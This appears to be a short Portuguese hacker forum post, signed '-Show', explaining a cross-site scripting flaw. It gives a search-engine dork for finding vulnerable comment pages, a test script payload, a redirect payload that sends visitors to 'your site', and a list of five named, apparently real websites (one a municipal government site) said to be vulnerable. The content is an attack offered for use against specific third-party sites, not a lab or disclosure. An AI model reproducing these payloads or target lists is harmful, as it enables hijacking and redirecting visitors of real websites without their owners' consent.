Falha XSS (Cross-Site Scripting)

           _________.__                     ___________      __               .__       .__
          /   _____/|  |__   ______  _  __  \__    ___/_ ___/  |_  ___________|__|____  |  |
  ______  \_____  \ |  |  \ /  _ \ \/ \/ /    |    | |  |  \   __\/  _ \_  __ \  \__  \ |  |
 /_____/  /        \|   Y  (  <_> )     /     |    | |  |  /|  | (  <_> )  | \/  |/ __ \|  |__
         /_______  /|___|  /\____/ \/\_/      |____| |____/ |__|  \____/|__|  |__(____  /____/
                 \/      \/                                                           \/

+--------------------------------+'
' Falha XSS                       '
' Skype: lukinha.down             '
' By: -Show                       '
+---------------------------------+

XSS (Cross-Site Scripting)
Dork: inurl:mostrar=comentarios

Testando a falha: <script>alert('Teste falha XSS');</script>

Redirect:
<script>window.location = "SEU SITE AQUI"</script>

Sites vuln:
http://radiofilp.xpg.uol.com.br/teste8084.html?mostrar=comentarios&id=9ca43079a6

http://quintascarpintaria.comoj.com/produtos.php?mostrar=comentarios&id=2ffea71ac3

http://www.ancientscripts.com/search.php?q=

http://www.kshs.org/library/search.php?q=cgi-bin/news.cgi&county=DP&arrange=date

http://www.riobonito.pr.gov.br/?mostrar=comentarios&id=7ba3a6e60f